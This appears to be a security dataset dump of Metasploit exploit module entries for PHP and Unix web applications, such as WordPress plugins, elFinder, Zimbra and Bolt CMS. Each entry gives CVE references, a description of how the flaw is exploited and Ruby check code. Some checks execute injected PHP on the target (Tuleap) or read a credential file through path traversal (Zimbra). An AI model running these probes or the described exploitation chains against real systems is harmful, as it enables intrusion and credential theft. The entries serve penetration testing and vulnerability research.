deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Wordpress SlideShow Gallery Authenticated File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb
Platform: php
Disclosure date: 2014-08-28
References: CVE-2014-5460, EDB-34681

Description:
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
          vulnerability. An attacker can upload arbitrary files to the upload folder.
          Since the plugin uses its own file upload mechanism instead of the WordPress
          API, it's possible to upload any file type.

Check method (fingerprinting):
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
  end
Metasploit Module: elFinder PHP Connector exiftran Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/elfinder_php_connector_exiftran_cmd_injection.rb
Platform: php
Disclosure date: 2019-02-26
References: CVE-2019-9194, EDB-46481, URL-https://github.com/Studio-42/elFinder/releases/tag/2.1.48, URL-https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/

Description:
This module exploits a command injection vulnerability in elFinder
          versions prior to 2.1.48.

          The PHP connector component allows unauthenticated users to upload
          files and perform file modification operations, such as resizing and
          rotation of an image. The file name of uploaded files is not validated,
          allowing shell metacharacters.

          When performing image operations on JPEG files, the filename is passed
          to the `exiftran` utility without appropriate sanitization, causing
          shell commands in the file name to be executed, resulting in remote
          command injection as the web server user.

          The PHP connector is not enabled by default.

          The system must have `exiftran` installed and in `$PATH`.

          This module has been tested successfully on elFinder versions 2.1.47,
          2.1.20 and 2.1.16 on Ubuntu.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
    res = send_request_cgi('uri' => uri)

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.code == 200
      vprint_status "#{uri} does not exist"
      return CheckCode::Safe('The target is not vulnerable')
    end

    if res.body.include? '<?php'
      vprint_status 'PHP is not enabled'
      return CheckCode::Safe('The target is not vulnerable')
    end

    CheckCode::Detected('The target service was detected')
  end

  #
  # Upload PHP payload
  #
Metasploit Module: Western Digital Arkeia Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/arkeia_upload_exec.rb
Platform: php
Disclosure date: 2013-09-16
References: OSVDB-97614, OSVDB-97615, EDB-28330

Description:
This module exploits a vulnerability found in Western Digital Arkeia Appliance
          version 10.0.10 and lower. By abusing the upload.php script,
          a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
          directory without authentication. Abusing the local file inclusion in the lang
          cookie to parse this file results in arbitrary code execution, also without
          authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
          have been fixed in version 10.1.10.

Check method (fingerprinting):
# Check version
    print_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri)
    })

    if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version > "10.0.10"
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end

    # Check for vulnerable component
    vprint_status("Trying to detect the vulnerable component")

    res = send_request_cgi({
      'method' => 'GET',
      'headers' => { 'Cookie' => "lang=fr" },
      'uri' => normalize_uri(uri)
    })

    if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: PAJAX Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/pajax_remote_exec.rb
Platform: php
Disclosure date: 2006-03-30
References: CVE-2006-1551, OSVDB-24618, BID-17519, URL-http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php

Description:
RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
          It is possible to execute arbitrary PHP code from unchecked user input.
          Additionally, it is possible to include arbitrary files on the server
          ending in ".class.php".
Metasploit Module: Wordpress Work The Flow Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_worktheflow_upload.rb
Platform: php
Disclosure date: 2015-03-14
References: CVE-2015-10138, EDB-36640

Description:
This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin,
          version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution.

Check method (fingerprinting):
check_plugin_version_from_readme('work-the-flow-file-upload', '2.5.4')
  end
Metasploit Module: SquirrelMail PGP Plugin Command Execution (SMTP)
Type: exploit
Path: modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb
Platform: unix
Disclosure date: 2007-07-09
References: CVE-2003-0990, OSVDB-3178, URL-http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330, URL-http://www.wslabi.com/wabisabilabi/initPublishedBid.do?

Description:
This module exploits a command execution vulnerability in the
          PGP plugin of SquirrelMail. This flaw was found while quickly
          grepping the code after release of some information at
          http://www.wslabi.com/. Later, iDefense published an advisory ....

          Reading an email in SquirrelMail with the PGP plugin activated
          is enough to compromise the underlying server.

          Only "cmd/unix/generic" payloads were tested.
Metasploit Module: Tuleap PHP Unserialize Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/tuleap_unserialize_exec.rb
Platform: php
Disclosure date: 2014-11-27
Authors: EgiX
References: CVE-2014-8791, URL-http://karmainsecurity.com/KIS-2014-13, URL-https://tuleap.net/plugins/tracker/?aid=7601

Description:
This module exploits a PHP object injection vulnerability in Tuleap <= 7.6-4 which could be
          abused to allow authenticated users to execute arbitrary code with the permissions of the
          web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
          file. The exploit abuses the destructor method from the Jabbex class in order to reach a
          call_user_func_array() call in the Jabber class and call the fetchPostActions() method from
          the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
          order to work, the target must have the 'sys_create_project_in_one_step' option disabled.

Check method (fingerprinting):
flag = rand_text_alpha(rand(10) + 20)
    res = exec_php("print #{flag};")

    if res and res.body and res.body.to_s =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: LibrettoCMS File Manager Arbitary File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/libretto_upload_exec.rb
Platform: php
Disclosure date: 2013-06-14
References: CVE-2013-10054, OSVDB-94391, EDB-26213
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
          possibly prior.  Attackers can bypass the file extension check and abuse the upload
          feature in order to upload a malicious PHP file without authentication, which
          results in arbitrary remote code execution.

Check method (fingerprinting):
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
    if !res
      vprint_error('Connection timed out')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /Powered by <a href=".+">Libretto CMS/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Nagios XI Network Monitor Graph Explorer Component Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/nagios_graph_explorer.rb
Platform: unix
Disclosure date: 2012-11-30
References: CVE-2012-10029, OSVDB-83552, BID-54263

Description:
This module exploits a vulnerability found in Nagios XI Network Monitor's
          component 'Graph Explorer'.  An authenticated user can execute system commands
          by injecting it in several parameters, such as in visApi.php's 'host' parameter,
          which results in remote code execution.

Check method (fingerprinting):
res = send_request_raw({
      'method' => 'GET',
      'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
    })

    if res and res.code == 404
      vprint_error("Remote host does not have Graph Explorer installed.")
    elsif res and res.body =~ /Your session has timed out/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Redmine SCM Repository Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/redmine_scm_exec.rb
Platform: unix
Disclosure date: 2010-12-19
References: CVE-2011-4929, OSVDB-70090, URL-http://www.redmine.org/news/49

Description:
This module exploits an arbitrary command execution vulnerability in the
          Redmine repository controller. The flaw is triggered when a rev parameter
          is passed to the command line of the SCM tool without adequate filtering.
Metasploit Module: SePortal SQLi Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/seportal_sqli_exec.rb
Platform: php
Disclosure date: 2014-03-20
References: CVE-2008-5191, OSVDB-46567, EDB-32359

Description:
This module exploits a vulnerability found in SePortal version 2.5.
          When logging in as any non-admin user, it's possible to retrieve the admin session
          from the database through SQL injection. The SQL injection vulnerability exists
          in the "staticpages.php" page. This hash can be used to take over the admin
          user session. After logging in, the "/admin/downloads.php" page will be used
          to upload arbitrary code.

Check method (fingerprinting):
# Check version
    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "index.php")
    })

    if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version.to_f <= 2.5
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    else
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end
Metasploit Module: WordPress WP Symposium 14.11 Shell Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
Platform: php
Disclosure date: 2014-12-11
References: CVE-2014-10021, OSVDB-116046

Description:
WP Symposium Plugin for WordPress contains a flaw that allows a remote attacker
          to execute arbitrary PHP code. This flaw exists because the
          /wp-symposium/server/file_upload_form.php script does not properly verify or
          sanitize user-uploaded files. By uploading a .php file, the remote system will
          place the file in a user-accessible path. Making a direct request to the
          uploaded file will allow the attacker to execute the script with the privileges
          of the web server.

Check method (fingerprinting):
check_plugin_version_from_readme('wp-symposium', '14.12')
  end
Metasploit Module: Wordpress InBoundio Marketing PHP Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb
Platform: php
Disclosure date: 2015-03-24
References: EDB-36478, OSVDB-119890

Description:
This module exploits an arbitrary file upload in the WordPress InBoundio Marketing version
          2.0. It allows to upload arbitrary php files and get remote code execution. This module
          has been tested successfully on WordPress InBoundio Marketing 2.0.3 with Wordpress 4.1.3 on
          Ubuntu 14.04 Server.

Check method (fingerprinting):
check_plugin_version_from_readme('inboundio-marketing')
  end
Metasploit Module: Google Appliance ProxyStyleSheet Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
Platform: unix
Disclosure date: 2005-08-16
References: CVE-2005-3757, OSVDB-20981, BID-15509

Description:
This module exploits a feature in the Saxon XSLT parser used by
          the Google Search Appliance. This feature allows for arbitrary
          java methods to be called. Google released a patch and advisory to
          their client base in August of 2005 (GA-2005-08-m). The target appliance
          must be able to connect back to your machine for this exploit to work.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => '/search',
      'vars_get' =>
      {
        'client' => rand_text_alpha(rand(15) + 1),
        'site' => rand_text_alpha(rand(15) + 1),
        'output' => 'xml_no_dtd',
        'q' => rand_text_alpha(rand(15) + 1),
        'proxystylesheet' => 'http://' + rand_text_alpha(rand(15) + 1) + '/'
      }
    }, 10)

    if (res and res.body =~ /cannot be resolved to an ip address/)
      vprint_status("This system appears to be vulnerable")
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
      vprint_status("This system appears to be patched")
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress Platform Theme File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_platform_exec.rb
Platform: php
Disclosure date: 2015-01-21
References: CVE-2015-10143, URL-http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html

Description:
The WordPress Theme "platform" contains a remote code execution vulnerability
          through an unchecked admin_init call. The theme includes the uploaded file
          from its temp filename with php's include function.
Metasploit Module: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/bolt_authenticated_rce.rb
Platform: linux
Disclosure date: 2020-05-07
References: CVE-2025-34086, EDB-48296, URL-https://github.com/bolt/bolt/releases/tag/3.7.1
Targets: Linux (x86), Linux (x64), Linux (cmd)

Description:
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
          and 3.6.* in order to execute arbitrary commands as the user running Bolt.

          This module first takes advantage of a vulnerability that allows an
          authenticated user to change the username in /bolt/profile to a PHP
          `system($_GET[""])` variable. Next, the module obtains a list of tokens
          from `/async/browse/cache/.sessions` and uses these to create files with
          the blacklisted `.php` extention via HTTP POST requests to
          `/async/folder/rename`. For each created file, the module checks the HTTP
          response for evidence that the file can be used to execute arbitrary
          commands via the created PHP $_GET variable. If the response is negative,
          the file is deleted, otherwise the payload is executed via an HTTP
          get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`

          Valid credentials for a Bolt CMS user are required. This module has been
          successfully tested against Bolt CMS 3.7.0 running on CentOS 7.

Check method (fingerprinting):
# obtain token and cookie required for login
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('Sign in to Bolt')
      return CheckCode::Safe('Target is not a Bolt CMS application.')
    end

    html = res.get_html_document
    token = html.at('input[@id="user_login__token"]')['value']
    cookie = res.get_cookies

    # perform login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
      'cookie' => cookie,
      'vars_post' => {
        'user_login[username]' => datastore['USERNAME'],
        'user_login[password]' => datastore['PASSWORD'],
        'user_login[login]' => '',
        'user_login[_token]' => token
      }
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 302 && res.body.include?('Redirecting to /bolt')
      return CheckCode::Unknown('Failed to authenticate to the server.')
    end

    @cookie = res.get_cookies
    return unless @cookie

    # visit profile page to obtain user_profile token and user email
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
      'cookie' => @cookie
    })

    return CheckCode::Unknown('Connection failed') unless res

    unless res.code == 200 && res.body.include?('<title>Profile')
      return Check
Metasploit Module: Havalite CMS Arbitary File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/havalite_upload_exec.rb
Platform: php
Disclosure date: 2013-06-17
References: CVE-2013-10055, OSVDB-94405, EDB-26243
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
          possibly prior.  Attackers can abuse the upload feature in order to upload a
          malicious PHP file without authentication, which results in arbitrary remote code
          execution.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path, 'havalite/')
    res = send_request_raw({ 'uri' => uri })

    if !res
      vprint_error('Connection timed out')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    js_src = res.body.scan(%r{<script type="text/javascript">(.+)</script>}im).flatten[0] || ''
    version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''

    if !version.empty? and version =~ /1\.1\.7/
      vprint_status("Version found: #{version}")
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end

  #
  # Uploads our malicious file
  #
Metasploit Module: TikiWiki tiki-graph_formula Remote PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
Platform: php
Disclosure date: 2007-10-10
References: CVE-2007-5423, OSVDB-40478, BID-26006

Description:
TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
          attacker to execute arbitrary PHP code.  The issue is due to
          'tiki-graph_formula.php' script not properly sanitizing user
          input supplied to create_function(), which may allow a remote
          attacker to execute arbitrary PHP code resulting in a loss of
          integrity.

Check method (fingerprinting):
res = send_request_raw(
      {
        'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"),
        'method' => 'GET',
        'headers' =>
          {
            'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
            'Connection' => 'Close',
          }
      }, 5
    )

    http_fingerprint({ :response => res }) # check method

    if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
      ver = $1
      # print_status("Detected TikiWiki version #{ver}")
      ver = ver.split('.')
      return Exploit::CheckCode::Safe("Version #{ver.join('.')} is not vulnerable") if (ver[0] != '1')
      return Exploit::CheckCode::Safe("Version #{ver.join('.')} is not vulnerable") if (ver[1] != '9')

      if (ver.length > 2)
        ver2 = ver[2].to_i
        if (ver.length > 3)
          ver3 = ver[3].to_i
        else
          ver3 = 0
        end
        return Exploit::CheckCode::Safe("Version #{ver.join('.')} is not vulnerable") if (ver2 > 8)
        return Exploit::CheckCode::Safe("Version #{ver.join('.')} is not vulnerable") if (ver2 == 8 and ver3 > 0)
      end
      return Exploit::CheckCode::Appears("Version #{ver.join('.')} appears to be vulnerable")
    end
    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Nagios3 statuswml.cgi Ping Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/nagios3_statuswml_ping.rb
Platform: unix
Disclosure date: 2009-06-22
References: CVE-2009-2288, OSVDB-55281

Description:
This module abuses a metacharacter injection vulnerability in the
          Nagios3 statuswml.cgi script. This flaw is triggered when shell
          metacharacters are present in the parameters to the ping and
          traceroute commands.
Metasploit Module: Wordpress Creative Contact Form Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb
Platform: php
Disclosure date: 2014-10-22
References: CVE-2014-8739, EDB-35057, OSVDB-113669

Description:
This module exploits an arbitrary PHP code upload in the WordPress Creative Contact
          Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.

Check method (fingerprinting):
check_plugin_version_from_readme('sexy-contact-form', '1.0.0')
  end
Metasploit Module: Zimbra Collaboration Server LFI
Type: exploit
Path: modules/exploits/unix/webapp/zimbra_lfi.rb
Platform: linux
Disclosure date: 2013-12-06
References: CVE-2013-7091, OSVDB-100747, BID-64149, EDB-30085, URL-http://cxsecurity.com/issue/WLB[PII_REDACTED]
Targets: Zimbra 8.0.2 / Linux

Description:
This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability
          allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen
          credentials allow the attacker to make requests to the service/admin/soap API. This can
          then be used to create an authentication token for the admin web interface. This access
          can be used to achieve remote code execution. This module has been tested on Zimbra
          Collaboration Server 8.0.2 with Ubuntu Server 12.04.

Check method (fingerprinting):
res = send_traversal_query(traversal_path('conf/localconfig.xml'))

    unless res and res.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # this response is ~100% gzipped
    begin
      text = Rex::Text.ungzip(res.body)
    rescue Zlib::GzipFile::Error
      text = res.body
    end

    if text =~ %r{name=\\"zimbra_user\\">";\sa\["<value>(.*)</value>}
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end